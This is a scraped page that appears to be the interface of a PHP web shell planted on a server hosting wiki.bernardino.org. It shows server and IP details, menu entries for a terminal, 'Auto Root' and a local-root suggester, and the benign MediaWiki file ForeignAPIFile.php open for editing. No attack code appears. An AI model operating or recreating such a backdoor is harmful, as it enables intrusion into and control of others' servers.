Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
filerepo /
Delete
Unzip
Name
Size
Permission
Date
Action
file
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
ArchivedFile.php
8.9
KB
-rw-r--r--
2011-03-14 02:04
FSRepo.php
2.49
KB
-rw-r--r--
2016-11-28 20:20
File.php
38.33
KB
-rw-r--r--
2011-12-26 00:57
FileBackendDBRepoWrapper.php
10.37
KB
-rw-r--r--
2016-11-28 20:20
FileRepo.php
56.09
KB
-rw-r--r--
2016-11-28 20:20
FileRepoStatus.php
1.01
KB
-rw-r--r--
2016-11-28 20:20
ForeignAPIFile.php
5.84
KB
-rw-r--r--
2011-07-07 00:07
ForeignAPIRepo.php
16.35
KB
-rw-r--r--
2016-11-28 20:20
ForeignDBFile.php
1.48
KB
-rw-r--r--
2011-05-28 19:51
ForeignDBRepo.php
3.51
KB
-rw-r--r--
2016-11-28 20:20
ForeignDBViaLBRepo.php
2.79
KB
-rw-r--r--
2016-11-28 20:20
LocalFile.php
61.5
KB
-rw-r--r--
2011-11-09 17:06
LocalRepo.php
16
KB
-rw-r--r--
2016-11-28 20:20
NullRepo.php
1.15
KB
-rw-r--r--
2016-11-28 20:20
OldLocalFile.php
7.49
KB
-rw-r--r--
2011-11-09 17:06
README
1.93
KB
-rw-r--r--
2016-11-28 20:20
RepoGroup.php
12.08
KB
-rw-r--r--
2016-11-28 20:20
UnregisteredLocalFile.php
3.14
KB
-rw-r--r--
2011-05-28 20:59
Save
Rename
<?php /** * Foreign file accessible through api.php requests. * * @file * @ingroup FileRepo */ /** * Foreign file accessible through api.php requests. * Very hacky and inefficient, do not use :D * * @ingroup FileRepo */ class ForeignAPIFile extends File { private $mExists; /** * @param $title * @param $repo ForeignApiRepo * @param $info * @param bool $exists */ function __construct( $title, $repo, $info, $exists = false ) { parent::__construct( $title, $repo ); $this->mInfo = $info; $this->mExists = $exists; } /** * @param $title Title * @param $repo ForeignApiRepo * @return ForeignAPIFile|null */ static function newFromTitle( $title, $repo ) { $data = $repo->fetchImageQuery( array( 'titles' => 'File:' . $title->getDBKey(), 'iiprop' => self::getProps(), 'prop' => 'imageinfo', 'iimetadataversion' => MediaHandler::getMetadataVersion() ) ); $info = $repo->getImageInfo( $data ); if( $info ) { $lastRedirect = isset( $data['query']['redirects'] ) ? count( $data['query']['redirects'] ) - 1 : -1; if( $lastRedirect >= 0 ) { $newtitle = Title::newFromText( $data['query']['redirects'][$lastRedirect]['to']); $img = new ForeignAPIFile( $newtitle, $repo, $info, true ); if( $img ) { $img->redirectedFrom( $title->getDBkey() ); } } else { $img = new ForeignAPIFile( $title, $repo, $info, true ); } return $img; } else { return null; } } /** * Get the property string for iiprop and aiprop */ static function getProps() { return 'timestamp|user|comment|url|size|sha1|metadata|mime'; } // Dummy functions... public function exists() { return $this->mExists; } public function getPath() { return false; } function transform( $params, $flags = 0 ) { if( !$this->canRender() ) { // show icon return parent::transform( $params, $flags ); } // Note, the this->canRender() check above implies // that we have a handler, and it can do makeParamString. $otherParams = $this->handler->makeParamString( $params ); $thumbUrl = $this->repo->getThumbUrlFromCache( $this->getName(), isset( $params['width'] ) ? $params['width'] : -1, isset( $params['height'] ) ? $params['height'] : -1, $otherParams ); return $this->handler->getTransform( $this, 'bogus', $thumbUrl, $params ); } // Info we can get from API... public function getWidth( $page = 1 ) { return isset( $this->mInfo['width'] ) ? intval( $this->mInfo['width'] ) : 0; } public function getHeight( $page = 1 ) { return isset( $this->mInfo['height'] ) ? intval( $this->mInfo['height'] ) : 0; } public function getMetadata() { if ( isset( $this->mInfo['metadata'] ) ) { return serialize( self::parseMetadata( $this->mInfo['metadata'] ) ); } return null; } public static function parseMetadata( $metadata ) { if( !is_array( $metadata ) ) { return $metadata; } $ret = array(); foreach( $metadata as $meta ) { $ret[ $meta['name'] ] = self::parseMetadata( $meta['value'] ); } return $ret; } public function getSize() { return isset( $this->mInfo['size'] ) ? intval( $this->mInfo['size'] ) : null; } public function getUrl() { return isset( $this->mInfo['url'] ) ? strval( $this->mInfo['url'] ) : null; } public function getUser( $method='text' ) { return isset( $this->mInfo['user'] ) ? strval( $this->mInfo['user'] ) : null; } public function getDescription() { return isset( $this->mInfo['comment'] ) ? strval( $this->mInfo['comment'] ) : null; } function getSha1() { return isset( $this->mInfo['sha1'] ) ? wfBaseConvert( strval( $this->mInfo['sha1'] ), 16, 36, 31 ) : null; } function getTimestamp() { return wfTimestamp( TS_MW, isset( $this->mInfo['timestamp'] ) ? strval( $this->mInfo['timestamp'] ) : null ); } function getMimeType() { if( !isset( $this->mInfo['mime'] ) ) { $magic = MimeMagic::singleton(); $this->mInfo['mime'] = $magic->guessTypesForExtension( $this->getExtension() ); } return $this->mInfo['mime']; } /// @todo FIXME: May guess wrong on file types that can be eg audio or video function getMediaType() { $magic = MimeMagic::singleton(); return $magic->getMediaType( null, $this->getMimeType() ); } function getDescriptionUrl() { return isset( $this->mInfo['descriptionurl'] ) ? $this->mInfo['descriptionurl'] : false; } /** * Only useful if we're locally caching thumbs anyway... */ function getThumbPath( $suffix = '' ) { if ( $this->repo->canCacheThumbs() ) { $path = $this->repo->getZonePath('thumb') . '/' . $this->getHashPath( $this->getName() ); if ( $suffix ) { $path = $path . $suffix . '/'; } return $path; } else { return null; } } function getThumbnails() { $files = array(); $dir = $this->getThumbPath( $this->getName() ); if ( is_dir( $dir ) ) { $handle = opendir( $dir ); if ( $handle ) { while ( false !== ( $file = readdir($handle) ) ) { if ( $file[0] != '.' ) { $files[] = $file; } } closedir( $handle ); } } return $files; } function purgeCache() { $this->purgeThumbnails(); $this->purgeDescriptionPage(); } function purgeDescriptionPage() { global $wgMemc, $wgContLang; $url = $this->repo->getDescriptionRenderUrl( $this->getName(), $wgContLang->getCode() ); $key = $this->repo->getLocalCacheKey( 'RemoteFileDescription', 'url', md5($url) ); $wgMemc->delete( $key ); } function purgeThumbnails() { global $wgMemc; $key = $this->repo->getLocalCacheKey( 'ForeignAPIRepo', 'ThumbUrl', $this->getName() ); $wgMemc->delete( $key ); $files = $this->getThumbnails(); $dir = $this->getThumbPath( $this->getName() ); foreach ( $files as $file ) { unlink( $dir . $file ); } if ( is_dir( $dir ) ) { rmdir( $dir ); // Might have already gone away, spews errors if we don't. } } }